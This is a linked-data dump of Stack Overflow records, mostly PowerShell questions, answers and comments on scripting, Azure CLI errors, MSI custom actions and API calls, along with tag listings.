foreach ($gp in $groups) { Write-Host "Processando o grupo --> $($gp.Name)" -ForegroundColor DarkGreen if ($gp.Info -ne 'sem aprovador' -or $gp.Info -ne 'Sem aprovador') { $aprList = @() $aprovadores = if ($gp.Info) { $gp.Info -split "`r`n" | For…
type: Question
linked to: http://stackoverflow.com/q/60708578
has comment: http://stackoverflow.com/comment/139541473
answer count: 0
tagged with: powershell

http://stackoverflow.com/q/79222400
type: Question
has answer: http://stackoverflow.com/a/79223143
answer count: 1
tagged with: powershell
has body: How to modify the following code in Powershell (with admin privelege) in order to set the computer (taskbar clock/date) to the specified date/time permanently? $date=[datetime]"30/09/2024 12:00:00";while($true){set-date $date; start-sleep -ms 100} I'm not corncerned with any side affects on my computer's normal functions. I have encountered there errors: First error: At line:1 char:61 + ... e=[datetime]"30/09/2024 12:00:00";while($true){set-date $date; start- ... + ~~~~~ + CategoryInfo : InvalidData: (:) [Set-Date], ParameterBindingValidationException + FullyQualifiedErrorId : ParameterArgumentValidationErrorNullNotAllowed,Microsoft.PowerShell.Commands.SetDateComm and Start-Sleep : A parameter cannot be found that matches parameter name 'ms'. Second errror: At line:1 char:80 + ... 0/09/2024 12:00:00";while($true){set-date $date; start-sleep -ms 100} + ~~~ + CategoryInfo : InvalidArgument: (:) [Start-Sleep], ParameterBindingException + FullyQualifiedErrorId : NamedParameterNotFound,Microsoft.PowerShell.Commands.StartSleepCommand Set-Date : Cannot bind argument to parameter 'Date' because it is null.
has comment: http://stackoverflow.com/comment/139699686
linked to: http://stackoverflow.com/q/2379514
score: 0
type: UnansweredQuestion
has title: Automatically set the computer/taskbar clock constantly (permanently) to a specific set date and time in Windows 10
has comment: http://stackoverflow.com/comment/139699843

http://stackoverflow.com/a/79092584
downvote count: 0
accepted answer of: http://stackoverflow.com/q/79092175
score: 3
upvote count: 3
has body: LastWriteTime isn't updating on write because Window's Buffered I/O and File Caching prioritize file content over metadata. Metadata is only updated when a file is closed, flushed, or a user or system action (ex. read, disk write) forces a cache refresh. For your reading pleasure: Windows File Caching Windows Buffered I/O Is this sane? Not for continuous write or real-time analytics. That's why such systems don't use NTFS.
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79092175
type: Answer

http://stackoverflow.com/q/79099651
has answer: http://stackoverflow.com/a/79099652
accepted answer: http://stackoverflow.com/a/79099652
type: Question
tagged with: ubuntu
answer count: 1
has body: I am unable to run any az commands in the terminal, as I keep getting the following exception: PS C:\&gt;az upgrade --verbose This command is under preview and under development. Reference and support levels: https://aka.ms/CLI_refstatus Failed to get the latest version from 'https://raw.githubusercontent.com/Azure/azure-cli/main/src/azure-cli/setup.py'. HTTPSConnectionPool(host='raw.githubusercontent.com', port=443): Max retries exceeded with url: /Azure/acure-cli/main/src/azure-cli/setup.py (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate in certificate chain (_ssl.c:1006)'))) Failed to get the latest azure-cli version. Upgrade finished.You can enable auto-upgrade with 'az config set auto-upgrade.enable=yes'. More details in https://docs.microsoft.com/cli/azure/update-azure-cli#automatic-update Command ran in 1.208 seconds (init: 0.221, invoke: 0.986) This happens on any terminal I use on my Windows machine, and this error also occurs in the terminal in my WSL Ubuntu instance. This happens for az upgrade, az login, and az extension commands, amongst others. What can I do?
tagged with: azure-cli
tagged with: powershell
type: AnsweredQuestion
tagged with: azure
has title: Azure CLI Errors - Certificate Verify Failed
score: 0
tagged with: windows-subsystem-for-linux

http://stackoverflow.com/comment/139589628
score: 1
comment on: http://stackoverflow.com/q/79162018
has text: Note that Windows PowerShell and PowerShell (Core) 7.x have different header types. Windows PowerShell uses `WebHeaderCollection` whereas PowerShell 7.x uses `HttpResponseHeaders`. They are enumerated differently, the `WebHeaderCollection.GetEnumerator()` iterates over the keys only, whereas `HttpResponseHeaders` iterates over key/value pairs. Your code would work for PowerShell 7.x, but not for Windows PowerShell.
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79099875
type: Question
has comment: http://stackoverflow.com/comment/139477089
tagged with: powershell
answer count: 1
tagged with: windows-installer
has body: I need to pass 2 parameters to an MSI when installing an electron app from the command line. For example: msiexec /i "C:\example\filepath\ExampleAppInstaller.msi" USERID="1234" APIKEY="5678" /quiet I want the MSI to run a powershell script that saves these parameters in a temporary file on the user's computer sometime during the install process. When the application runs for the first time after install it will read from the temporary file and use the parameters in the app. The part that I am having trouble with is creating the Custom Action in the MSI that will run the PowerShell script that creates the temporary file. I have tried using the Wix toolset, but I can't get it to work. I have Wix version 5.0.1+2f00cbe6. Here is the PowerShell script that I am trying to run during the MSI install (named 'writeParams.ps1'): param( [string]$UserID, [string]$ApiKey ) # Define the folder and file paths dynamically using the environment variable $AppDataFolder = "$env:APPDATA\ExampleAppTest" $filePath = "$AppDataFolder\installParams.json" # Check if the folder exists, if not, create it if (-not (Test-Path -Path $AppDataFolder)) { New-Item -Path $AppDataFolder -ItemType Directory } # Create the JSON content with the provided parameters $jsonContent = @{ userId = $UserID apiKey = $ApiKey } | ConvertTo-Json # Write the JSON content to the file $jsonContent | Out-File -FilePath $filePath # Exit with a success code exit 0 I have tried building the MSI using a .wixproj file. Here my ExampleAppProject.wixproj file: Package ExampleAppInstaller MSI <WixSource Include="Product.wxs" /> And here is my Product.wxs file: <?xml version="1.0"?> <Package InstallerVersion="500" Compressed="yes" InstallScope="perMachine" /> <Media Id="1" Cabinet="media1.cab" EmbedCab="yes" /> <ComponentGroupRef Id="ProductComponents"/> <File Id="PowerShellScript" Source="writeParams.ps1" KeyPath="yes"/> <ComponentRef Id="PowerShellComponent"/> <CustomAction Id="RunPowerShellScript" Property="powershell.exe" Ex…
tagged with: wix
score: 0
type: UnansweredQuestion
has title: How to run a PowerShell script during MSI install that accepts command line parameters
has answer: http://stackoverflow.com/a/79101993

http://stackoverflow.com/comment/139678934
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79207013
type: Comment
has text: I solved whole my issues. Thank you for your help and inspiration. My solution: ADO pipeline has access to ADO KV and fetches AppRegistration and password. Script which creates VM is taking parameters from json file and merging with values from ADO KV. All parameters are sending as parameters to the script as Base64. Inside the VM custom script decoding base64 to the object, where I have Connect-AzAccount with appRegistration data from outside KV and then script has access to all resources that AppRegistration has.

http://stackoverflow.com/comment/139717707
type: AnswerComment
has text: Yes, I'm able to get only subscription info
type: Comment
comment on: http://stackoverflow.com/a/79230278
score: 0

document-library
tag name: document-library
type: Tag
tags question: http://stackoverflow.com/q/79193700

http://stackoverflow.com/a/79112133
has comment: http://stackoverflow.com/comment/139497909
upvote count: 1
answers question: http://stackoverflow.com/q/79112116
downvote count: 1
type: Answer
score: 0
has body: The answer (a very comprehensive one) is here: https://stackoverflow.com/a/64771432/4582204 (and this question will likely be closed as a duplicate). But I wanted to simply and quickly say that in -replace regex, replacement the regex is a regex, and needs the two backslashes \\ because the first has to escape the second, but the replacement is literal, no escaping needed, so \\\\ is not two escaped backslashes but literally 4 backslashes. So the correct code is: 'foo\bar' -replace '\\', '\\' And while at first glance this code appears to be doing nothing, it is doing something, because the first backslash is an escape and second term is not escaped.

http://stackoverflow.com/a/79193354
has body: The following, using namespace variable notation, seems to work: $FunctionName = 'Invoke-S' $ScriptPath = '.\s.ps1' Invoke-Expression @" `${Function:global:$FunctionName} = (Get-Command "$ScriptPath").ScriptBlock "@ The cmdlet-based equivalent of the above is actually simpler in this case, because the function name can directly be expressed in terms of a variable: $FunctionName = 'Invoke-S' $ScriptPath = '.\s.ps1' Set-Content Function:global:$FunctionName (Get-Command $ScriptPath).ScriptBlock In the context of your function: function New-GlobalFunction { param( [Parameter(Mandatory)] [string] $ScriptPath, [Parameter(Mandatory)] [string] $FunctionName ) Set-Content Function:global:$FunctionName (Get-Command $ScriptPath).ScriptBlock } # Sample call New-GlobalFunction -ScriptPath .\s.ps1 -FunctionName Invoke-S Explanation: Specifically, the variable expression ${Function:global:Invoke-S} (the expanded form interpreted by Invoke-Expression[1]) / the (positionally implied) -Path argument with value Function:global:Invoke-S passed to Set-Content breaks down as follows: Function: references the built-in Function: drive exposed by the Function provider global:Invoke-S refers to a function named Invoke-S in the global scope; that is, global: is a scope modifier. Such scope modifiers aren't often seen in function definitions, but they do work; e.g., function global:Test-Me { 'hi!' } defines a Test-Me function in the global scope. The function name includes -, which is a character that requires enclosure of the entire (namespace-notation) variable-name expression in {...} in order to be recognized as a single variable expression. Note how this is not necessary in argument-parsing mode in the Set-Content solution; Function:global:Invoke-S works fine as a single argument. By assigning to ${Function:global:Invoke-S} / using that name as a path with Set-Content, the global Invoke-S function is either created or updated; what must be assigned / passed to the (positionally implied) …
has comment: http://stackoverflow.com/comment/139651625
has comment: http://stackoverflow.com/comment/139651303
has comment: http://stackoverflow.com/comment/139651231
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/79193243
has comment: http://stackoverflow.com/comment/139651243
has comment: http://stackoverflow.com/comment/139651267
accepted answer of: http://stackoverflow.com/q/79193243
has comment: http://stackoverflow.com/comment/139650331

http://stackoverflow.com/a/79090723
answers question: http://stackoverflow.com/q/79090297
score: 1
upvote count: 1
downvote count: 0
type: Answer
has body: A variation on @Santiago Squarzon's answer Get-AzureADGroup -ObjectId [REDACTED] | Get-AzureADGroupMember -All $True | Select-Object -ExpandProperty UserPrincipalName | ForEach-Object ToLower It's a bit less efficient but, in my opinion, looks better. (as in: it's a bit easier to read)

http://stackoverflow.com/comment/139719534
type: Comment
score: 0
has text: I have multiple subscription in a single tenant and yes, I have provided system assigned identity with the azure role assignments as key vault reader.
comment on: http://stackoverflow.com/a/79230278
type: AnswerComment

http://stackoverflow.com/comment/139518415
score: 0
comment on: http://stackoverflow.com/q/79122039
type: QuestionComment
has text: @sirtao I update the question and added the error as text
type: Comment

http://stackoverflow.com/q/79117140
answer count: 0
tagged with: azure-devops
tagged with: powershell
type: UnansweredQuestion
has body: In the onebranch build pipeline the tasks are completed without any errors. But while checking the guardian post analysis got the error. I tried to upgrade the nuget version also checked with many steps. But I am unable to get the things. Please can anyone help me unblock this error? I totally have no idea
has comment: http://stackoverflow.com/comment/139512441
tagged with: azure-pipelines
score: 0
tagged with: devops
tagged with: yaml
type: Question
has title: Guardian Post analysis error in Binskin tool

error-response
type: Tag
tag name: error-response
tags question: http://stackoverflow.com/q/79162018

http://stackoverflow.com/a/79113258
downvote count: 0
type: Answer
has body: You can use the parameter -PassThru to, basically, enable the output of Copy-Item: it will now output the object representation of each newly copied item. Then you can pipe it through Select-Object to strip the object down to only its full path. Then pipe that to Add-Content which, as suggested by the name, will append the received values to the file you decided to use a log file. Copy-Item -Path $SourceDirectory -Destination $DestinationDirectory -Recurse -Force -PassThru | Select-Object -ExpandProperty FullName | Add-Content -Path $logFile If you need more\different information than just the full path, you can play with calculared properties. Evaluate using Export-Csv if you need many properties
answers question: http://stackoverflow.com/q/79113079
score: 1
upvote count: 1

http://stackoverflow.com/comment/139665648
type: QuestionComment
type: Comment
has text: @Bill_Stewart That's exactly what I needed. Please post an answer and I'll mark it complete. Bonus points to anyone who can find a native powershell way.
score: 0
comment on: http://stackoverflow.com/q/79183024

http://stackoverflow.com/comment/139515891
score: 3
comment on: http://stackoverflow.com/q/79122039
has text: if possible, please copy and past the error message as well. It makes much easier for people to search it and read it.
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79078296
score: 3
downvote count: 0
answers question: http://stackoverflow.com/q/79078234
has comment: http://stackoverflow.com/comment/139438129
has body: Why do you want to create the array and populate it as two steps? You can just cast the result of the pipeline to int64[]. But Select-Object -property Id doesn't get you a value you can cast to int64, so that will never work. You can just use ForEach-Object { $_.Id } instead, however. $arr = [int64[]](Get-Process | Where-Object { $_.handles -gt 1000 } | ForEach-Object { $_.Id })
type: Answer
upvote count: 3

http://stackoverflow.com/a/79174200
has comment: http://stackoverflow.com/comment/139618347
has body: Use an expandable string literal, "...": Add-Content -Path ".\LogFile.txt" -Value "[$(Get-Date)] $BB_NP"
has comment: http://stackoverflow.com/comment/139612165
type: AcceptedAnswer
score: 4
upvote count: 4
type: Answer
answers question: http://stackoverflow.com/q/79174170
has comment: http://stackoverflow.com/comment/139618374
has comment: http://stackoverflow.com/comment/139618200
downvote count: 0
accepted answer of: http://stackoverflow.com/q/79174170
has comment: http://stackoverflow.com/comment/139618157

http://stackoverflow.com/comment/139512025
has text: @K.Frank: Except in usual circumstances, there is _no_ good reason to use `Start-Process`. Recommending against using direct invocation of external programs in scripts is a disservice to the community, in my estimation. See the next comment for details.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79111405
type: QuestionComment

http://stackoverflow.com/tag/json
tags question: http://stackoverflow.com/q/79216817
tags question: http://stackoverflow.com/q/79234150
tags question: http://stackoverflow.com/q/79075877
type: Tag
tags question: http://stackoverflow.com/q/79085917
tags question: http://stackoverflow.com/q/79227970
tag name: json
tags question: http://stackoverflow.com/q/79201027
tags question: http://stackoverflow.com/q/79382832
tags question: http://stackoverflow.com/q/79272508
tags question: http://stackoverflow.com/q/79306165
tags question: http://stackoverflow.com/q/79263555
tags question: http://stackoverflow.com/q/79340316
tags question: http://stackoverflow.com/q/79381754
tags question: http://stackoverflow.com/q/79416406
tags question: http://stackoverflow.com/q/79441853
tags question: http://stackoverflow.com/q/79446131
tags question: http://stackoverflow.com/q/79527380
tags question: http://stackoverflow.com/q/79440370
tags question: http://stackoverflow.com/q/79427431
tags question: http://stackoverflow.com/q/79528155
tags question: http://stackoverflow.com/q/79529232
tags question: http://stackoverflow.com/q/79421107
tags question: http://stackoverflow.com/q/79498933

http://stackoverflow.com/comment/139527551
comment on: http://stackoverflow.com/q/79128284
type: QuestionComment
type: Comment
score: 0
has text: @iRon Exact same result with the full path

http://stackoverflow.com/a/79097542
type: Answer
answers question: http://stackoverflow.com/q/79091839
score: 0
has comment: http://stackoverflow.com/comment/139473951
has body: According to the MS document you should mention Authentication headers as below: "authHeaders": { "x-api-key": { "type": "SecureString", "value": "<API key>" } Here is sample Json file which is used to create Rest linked service: { "properties": { "type": "RestService", "typeProperties": { "url": "https://url.com", "enableServerCertificateValidation": true, "authenticationType": "Anonymous", "authHeaders": { "x-api-key": { "type": "SecureString", "value": "<API key>" } } } } } Below is the PowerShell script to create Rest linked service: Set-AzDataFactoryV2LinkedService -ResourceGroupName "<resourceGroupName>" -DataFactoryName "<ADFName>" -Name "<linkedServiceName>" -DefinitionFile <jsonFileName> It run successfully as shown below: Linked service is created but headers are not created in linked service as shown below: Along with that if I created the linked service manually with headers, after refreshing the data factory studio headers are missing in linked service. It may be bug. check this bug request or raise support ticket.

printers
tag name: printers
type: Tag
tags question: http://stackoverflow.com/q/79098434
tags question: http://stackoverflow.com/q/79489730

http://stackoverflow.com/q/79077815
tagged with: junit
duplicate of: http://stackoverflow.com/q/49476326
answer count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139435513
score: 0
linked to: http://stackoverflow.com/q/49476326
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139435320
tagged with: maven
has title: Emoji Encoding Issues in Maven Test Output on Windows PowerShell (VSCode/IntelliJ)
has comment: http://stackoverflow.com/comment/139435399
tagged with: junit-jupiter
has body: I am having Problems with Emojis in a Maven project in conjunction with the PowerShell. A minimalistic repository for reproduction can be found here: https://github.com/tippfelher/reproduce-mvn-junit-encoding/tree/main Problem: Running mvn test or ./mvnw test in the VSCode or IntelliJ IDE on Windows breaks the Emojis in the output (I even tried ./mvnw test -Dfile.encoding=UTF-8 -Dsun.stdout.encoding=UTF-8 -Dsun.stderr.encoding=UTF-8): I works fine though when running through a Run configuration or inside a Dev Container: Question: How to fix the PS output?
has comment: http://stackoverflow.com/comment/139435388
type: Question

http://stackoverflow.com/a/79216628
answers question: http://stackoverflow.com/q/79213119
has body: Ok, I was able to use @Miao Tian-MSFT's answer to get the token I needed. $accessToken = az account get-access-token --resource 499b84ac-1321-427f-aa17-267ca6975798 --query "accessToken" --output tsv However, I also later discovered the piece I was missing - on the Agent job, be sure to check the "Allow scripts to access the OAuth token" box. That's what provides the $System.AccessToken to the scripts (making the above call unnecessary).
type: Answer
score: 0

http://stackoverflow.com/q/79089000
has comment: http://stackoverflow.com/comment/139455749
has title: FreshService API Request through PowerShell
score: 0
tagged with: powershell
type: UnansweredQuestion
tagged with: freshservice
tagged with: freshservice-api
has body: I have a code that is supposed to update the Usage_type of a device from "permanent" to "Loaner" in FreshService using Put method. I also want to change the asset_state_24000430944 field from "In-Use" to "Retired". But when I try to run it, it is giving me a 403 Error message. The error message is: Invoke-RestMethod : The remote server returned an error: (403) Forbidden. At line:44 char:11 $Status = Invoke-RestMethod @Params -Body $body ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-RestMethod], WebException FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeRestMethodCommand **Here is my script:** $APIKey = '' $EncodedCredentials = "Basic " + [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("$APIKey:X")) $HTTPHeaders = @{ Authorization = $EncodedCredentials } $URL = '.freshservice.com/api/v2/assets' $assetId = "3367" $Params = @{ Method = 'Put' Uri = "$URL/$assetId" Headers = $HTTPHeaders ContentType = 'application/json' } # Disable or Retire Asset $body = @{ name = "PostComputer" asset_type_id = 24000430949 asset_tag = "ASSET-9999" impact = "low" usage_type = "Loaner" description = "13.3-inch (diagonal) LED-backlit glossy widescreen display,1440-by-900 resolution" location_id = $null agent_id = $null department_id = $null group_id = $null workspace_id = 2 assigned_on = "2014-07-26T12:25:04+05:30" type_fields = @{ product_24000430944 = 24000109875 cost_24000430944 = 5000 warranty_24000430944 = 20 acquisition_date_24000430944 = "2018-07-26T12:25:04+05:30" warranty_expiry_date_24000430944 = "2018-07-26T12:25:04+05:30" domain_24000430944 = "groupo.onmicrosoft.com" asset_state_24000430944 = "In Use" serial_number_24000430944 = "SW121311334" last_audit_date_24000430944 = "2014-07-26T12:25:04+05:30" } } | ConvertTo-Json $Status = Invoke-RestMethod @Params -Body $body # Output Response if ($Status -eq $true) { Write-Output "Asset $assetId has been ret…
type: Question
answer count: 0

http://stackoverflow.com/comment/139620098
type: QuestionComment
has text: You still need to construct the payload/frame data you want to send
type: Comment
comment on: http://stackoverflow.com/q/79178285
score: 0

http://stackoverflow.com/comment/139711920
type: QuestionComment
type: Comment
has text: @Jahnavi Thank you for offering this. I would like that! Looking forward to see your solution
score: 1
comment on: http://stackoverflow.com/q/79223169

http://stackoverflow.com/comment/139535896
type: QuestionComment
type: Comment
has text: What's the problem with the current menu?
score: 0
comment on: http://stackoverflow.com/q/79126458

http://stackoverflow.com/comment/139544102
score: 0
has text: I finally found the error in my method. The parameter "$sql$ in my function "WriteLogNew" was defined as an array. Hence my SQL Object was apparently transformed into an array. Removing the "[]" from the parameter solved the problem. I.e. the parameters must be defined as param( [string]$output= "", [string]$filename = "", [string]$path= "", [Parameter(Mandatory)][String]$writeLogMethod, [MySql.Data.MySqlClient.MySqlCommand]$sql )
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79137517

http://stackoverflow.com/a/79168128
has body: You will need to use the using: scope modifier to pass-in the Regex instance to the parallel scope, it's also required to enclose the expression in parentheses due to a parsing error: $r = [regex]::new("a+") 'a', 'aa', 'aaa', 'b' | ForEach-Object -Parallel { ($using:r).IsMatch($_) }
upvote count: 4
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79168108
score: 4
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/79168108

http://stackoverflow.com/comment/139671607
score: 0
comment on: http://stackoverflow.com/q/79205646
type: QuestionComment
type: Comment
has text: `winget install Microsoft.DotNet.Framework.DeveloperPack_4 --version 4.8.1`, but note that this involves downloading an offline installer and executing it locally behind the scenes.

http://stackoverflow.com/comment/139725948
has text: @not2qubit i updated the code a bit, recommend you to use this version than the older one
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79228955

http://stackoverflow.com/q/79193823
tagged with: powershell
has answer: http://stackoverflow.com/a/79194230
type: AnsweredQuestion
has body: Get-AzVMSize -Location "West US" The command above returns a list of all Azure VM SKU sizes in this format. Name NumberOfCores MemoryInMB MaxDataDiskCount OSDiskSizeInMB ResourceDiskSizeInMB ---- ------------- ---------- ---------------- -------------- -------------------- Standard_L8as_v3 8 65536 16 1047552 81920 Standard_L16as_v3 16 131072 32 1047552 163840 Standard_L32as_v3 32 262144 32 1047552 327680 Standard_L48as_v3 48 393216 32 1047552 491520 Standard_L64as_v3 64 524288 32 1047552 655360 Is there an Azure PowerShell command, C# SDK API or REST API call that can give me a list of all available SKUs that are enabled for confidential computing? There is some document list, but I would like a way to pull this programmatically. I do not see a documented way so far to this in PowerShell either, any suggestions?
tagged with: azure
tagged with: azure-powershell
score: 0
tagged with: azure-resource-manager
has title: Azure PowerShell command to list all Azure VM SKU Sizes enabled for Confidential Computing Azure ACC
type: Question
tagged with: azure-virtual-machine
answer count: 1
accepted answer: http://stackoverflow.com/a/79194230

http://stackoverflow.com/q/79079754
tagged with: azure-devops
downvote count: 0
tagged with: tfvc
tagged with: powershell
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79084526
has comment: http://stackoverflow.com/comment/139446661
has answer: http://stackoverflow.com/a/79084520
has title: How to get a branch name for a dedicated changeset number via PowerShell
possible better answer: http://stackoverflow.com/a/79084526
has body: I am trying to get the branch name for a specific changeset but this information does not exist. I am using this: GET https://dev.azure.com/fabrikam/_apis/tfvc/changesets/16?api-version=7.1 https://learn.microsoft.com/en-us/rest/api/azure/devops/tfvc/changesets/get?view=azure-devops-rest-7.1&amp;tabs=HTTP Is there an option to get the branch?
accepted answer: http://stackoverflow.com/a/79084520
score: 1
upvote count: 1
favorite count: 0
tagged with: tfs
answer count: 2
type: Question

http://stackoverflow.com/a/79167868
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79124047
has body: You can put a helper function in your script, or profile. Then you can re-use it easier. It's essentially Santi's answer. filter Flatten.IPAddr { # helper function that flattens NetIPConfig for exporting to json/csv [pscustomobject]@{ IPv4Address = $_.IPv4Address.IPAddress ComputerName = $_.ComputerName } } tips: filter is just shortand for a function with a proc block Pwsh7 has a max depth parameter. Try 1 or 2 ConvertTo-Json -Depth 1 $list | Flatten.IPAddr | ConvertTo-Json

dot-source
type: Tag
tags question: http://stackoverflow.com/q/79201535
tag name: dot-source

enterprise
type: Tag
tags question: http://stackoverflow.com/q/79085814
tag name: enterprise

http://stackoverflow.com/a/79145053
has comment: http://stackoverflow.com/comment/139557861
has body: You should use Where-Object for filtering instead of ForEach-Object, if you use the latter you will only get $true / $false results. Using a condition that combines -match $searchStrings and -notmatch $excludeStrings should be yielding the correct results, using the sample data: $sample = @' 28-02-2024 02:30:37 - User authentication error ('JohnsenJ') on module LabResultCodeLists 28-02-2024 10:14:27 - LabResults imported (record count: 0) 28-02-2024 10:16:53 - LabResults imported (record count:6754) 28-02-2024 13:19:03 - Server error from remote client (45eaae02-b53b-40b4-ac7f-79926eac12c4) 28-02-2024 22:34:00 - Server error from remote client (fff80a18-8317-4945-9e12-b1cacc4b4419) 29-02-2024 00:59:31 - Query error ('SELECT * FROM LABRESULTS WHERE CODE = ;') 29-02-2024 01:29:51 - LabResults imported (record count:123) 29-02-2024 01:54:35 - Access violation error at dlgLabResultVerification 29-02-2024 15:30:14 - Query error ('SELECT * FROM LABRESULTS WHERE CODE = ;') 29-02-2024 17:09:06 - User login error ('JohnsneJ') not found 29-02-2024 18:59:29 - Connection error from remote client (45eaae02-b53b-40b4-ac7f-79926eac12c4) '@ -split '\r?\n' When tested: $searchStrings = 'error|exception' $excludeStrings = 'User login error|User authentication error' $sample | Where-Object { $_ -match $searchStrings -and $_ -notmatch $excludeStrings } Would output what seem to be correct results: 28-02-2024 13:19:03 - Server error from remote client (45eaae02-b53b-40b4-ac7f-79926eac12c4) 28-02-2024 22:34:00 - Server error from remote client (fff80a18-8317-4945-9e12-b1cacc4b4419) 29-02-2024 00:59:31 - Query error ('SELECT * FROM LABRESULTS WHERE CODE = ;') 29-02-2024 01:54:35 - Access violation error at dlgLabResultVerification 29-02-2024 15:30:14 - Query error ('SELECT * FROM LABRESULTS WHERE CODE = ;') 29-02-2024 18:59:29 - Connection error from remote client (45eaae02-b53b-40b4-ac7f-79926eac12c4) You could also combine the include and exclude patterns into a single regex using a Neg…
downvote count: 0
type: Answer
upvote count: 3
has comment: http://stackoverflow.com/comment/139557818
score: 3
answers question: http://stackoverflow.com/q/79144958

http://stackoverflow.com/comment/139425403
has text: Also as for the `$OutputEncoding` that was done as there is also a line in the original code that also outputs the same jibberish too. But changing to UTF8BOM fixed both problems.
comment on: http://stackoverflow.com/q/79072446
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139457386
comment on: http://stackoverflow.com/q/79089859
type: QuestionComment
type: Comment
has text: @SantiagoSquarzon, there are 2 codes which are in separate file. One is C# code which is a part of a DLL. Another is a powershell code which calls it.
score: 0

http://stackoverflow.com/comment/139463754
has text: @Theo thanks but I was understanding that [TMSL is JSON](https://learn.microsoft.com/en-us/analysis-services/tmsl/tabular-model-scripting-language-tmsl-reference?view=asallproducts-allversions) plus I am further encouraged by the fact that the command does not error when run
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79093149
score: 0

http://stackoverflow.com/q/79188856
has comment: http://stackoverflow.com/comment/139638840
tagged with: azure-runbook
answer count: 1
type: AnsweredQuestion
tagged with: powershell
has answer: http://stackoverflow.com/a/79191290
tagged with: azure
tagged with: azure-automation
has body: Working on obtaining the list of all the secrets and certificates that have either expired or are about to expire across all applications in Azure. However, I'm getting the error message below in the automation runbook, even though it ran successfully and gave me the expected results in PowerShell. Error Error - After successful running of PS script Connect-AzAccount -Identity # Get the current date and the date 30 days from now $currentDate = Get-Date $expiryDate = $currentDate.AddDays(30) # Function to check expiration of secrets and certificates function Check-Expiration { param ( [Parameter(Mandatory=$true)] [string]$appId ) # Get the application $app = Get-AzADApplication -ObjectId $appId # Initialize an array to store the results $results = @() # Check secrets $secrets = $app.PasswordCredentials foreach ($secret in $secrets) { if ($secret.EndDate -lt $currentDate) { $results += [PSCustomObject]@{ 'Type' = 'Secret' 'ID' = $secret.KeyId 'Application' = $app.DisplayName 'AppID' = $app.ObjectId 'Status' = 'Expired' 'ExpiryDate' = $secret.EndDate } } elseif ($secret.EndDate -le $expiryDate) { $results += [PSCustomObject]@{ 'Type' = 'Secret' 'ID' = $secret.KeyId 'Application' = $app.DisplayName 'AppID' = $app.ObjectId 'Status' = 'Expiring Soon' 'ExpiryDate' = $secret.EndDate } } } # Check certificates $certificates = $app.KeyCredentials foreach ($certificate in $certificates) { if ($certificate.EndDate -lt $currentDate) { $results += [PSCustomObject]@{ 'Type' = 'Certificate' 'ID' = $certificate.KeyId 'Application' = $app.DisplayName 'AppID' = $app.ObjectId 'Status' = 'Expired' 'ExpiryDate' = $certificate.EndDate } } elseif ($certificate.EndDate -le $expiryDate) { $results += [PSCustomObject]@{ 'Type' = 'Certificate' 'ID' = $certificate.KeyId 'Application' = $app.DisplayName 'AppID' = $app.ObjectId 'Status' = 'Expiring Soon' 'ExpiryDate' = $certificate.EndDate } } } # Return the results return $results } # Get all applications $applications = Get-AzADApplication -All…
has comment: http://stackoverflow.com/comment/139642613
has comment: http://stackoverflow.com/comment/139644104
accepted answer: http://stackoverflow.com/a/79191290
score: 0
has title: Trying to list all the certificates and secrets that are expired or going to expire in all applications
has comment: http://stackoverflow.com/comment/139644180
type: Question

http://stackoverflow.com/comment/139733367
has text: Thank you @mklement0. FWIW, I tested this approach by comparing the values of `$rs` produced across all combinations of default and runspaces from global and module scriptblocks arising from two different runspaces. Indeed all values of `$rs` from all scriptblocks arising from a single runspace are the same object. And, of course, the default runspace of the two runspaces differs. So, if I'm correctly understanding how PowerShell is structured, this appears to work for all scenarios.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79240869
score: 0

http://stackoverflow.com/comment/139429502
comment on: http://stackoverflow.com/q/79074308
type: QuestionComment
type: Comment
has text: @ThiagoLuan The screenshot you've posted shows a bunch of English-language messages, but the codes you've posted contains only sentences in Portuguese? Please make sure that the code you've posted here is actually the code you're debugging
score: 0

azure-logic-apps
tag name: azure-logic-apps
tags question: http://stackoverflow.com/q/79094130
type: Tag

http://stackoverflow.com/comment/139524906
comment on: http://stackoverflow.com/a/79126115
score: 0
type: AnswerComment
type: Comment
has text: Your suggested command has the same effect as the command in the question, so it cannot be expected to make a difference.

http://stackoverflow.com/comment/139532998
type: QuestionComment
type: Comment
score: 0
has text: Depending on the application you create, you can use a Windows service to perform such tasks. The application can interact with the service using custom commands.
comment on: http://stackoverflow.com/q/79131331

http://stackoverflow.com/comment/139452421
score: 0
comment on: http://stackoverflow.com/q/79085306
type: QuestionComment
type: Comment
has text: This question is similar to: [Custom image enum for MessageBoxResult](https://stackoverflow.com/questions/7513090/custom-image-enum-for-messageboxresult). If you believe it’s different, please [edit] the question, make it clear how it’s different and/or how the answers on that question are not helpful for your problem.

http://stackoverflow.com/q/79099308
has answer: http://stackoverflow.com/a/79103209
has comment: http://stackoverflow.com/comment/139475361
accepted answer: http://stackoverflow.com/a/79103209
type: Question
